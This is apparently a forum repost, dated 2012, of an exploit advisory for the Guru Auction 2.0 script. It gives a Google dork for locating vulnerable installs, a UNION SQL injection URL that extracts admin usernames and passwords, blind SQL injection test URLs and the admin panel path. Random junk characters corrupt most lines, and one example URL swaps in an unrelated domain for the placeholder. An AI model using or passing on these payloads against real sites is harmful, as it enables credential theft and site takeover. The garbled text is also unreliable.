Guru Auction 2.0 Multiple SQL Injection Vulnerabilities- r, t+ m' a z7 u( J
( h& v5 I* X7 `1 |( d1 s+ j作者 : v3n0m
8 V8 ~$ \- O' I! \. k' z+ Y应用 : Guru Auction 2.0$ U% `* O! R H8 G7 B- w* s
Price : $49
( ^$ m) U: |& s0 e/ X, a% VVendor : http://www.guruscript.com/
: f. P" W8 m- J1 b |3 `3 BGoogle Dork : inurl:subcat.php?cate_id=$ I1 a7 d) K: ]* _* U/ V7 n; c
; z8 T g% D& ?. r' d, o7 Z1 F
SQLi p0c:
1 W( c- V" v$ A~~~~~~~~~~
% Q$ Z4 j1 d8 vhttp://domain.tld/[path]/subcat.php?cate_id=-9999+union+all+select+null,group_concat(user_name,char(58),password),null+from+admin--" L2 m- N9 s/ [ A; H) W
3 R6 h0 a4 S1 N2 k( h1 Y6 c/ o* x
3 d; X s1 ^1 l+ S6 P# c" x& O5 n盲注 p0c:
, s+ U9 j0 P- z8 y" x/ b! w# u; S1 F5 Q~~~~~~~~~~
/ {$ _* ^8 q8 `; q- A& J. h0 ~http://www.political-security.com /[path]/detail.php?item_id=575+AND+SUBSTRING(@@version,1,1)=5 << true
5 H; z) O; W* a, R3 C. j4 ^http://domain.tld/[path]/detail.php?item_id=575+AND+SUBSTRING(@@version,1,1)=4 << false* l) X$ q9 q& S+ W( n# c
C( `. G0 N) z0 p! I$ a
管理登录入口:
6 l5 V" s7 }! t4 K( X7 H~~~~~~~~~~; F; ~& @9 @8 E* R
http://domain.tld/[path]/admin/
6 V w" H9 s! V a4 O |
发表于 2012-12-31 09:24:05
收藏
支持
反对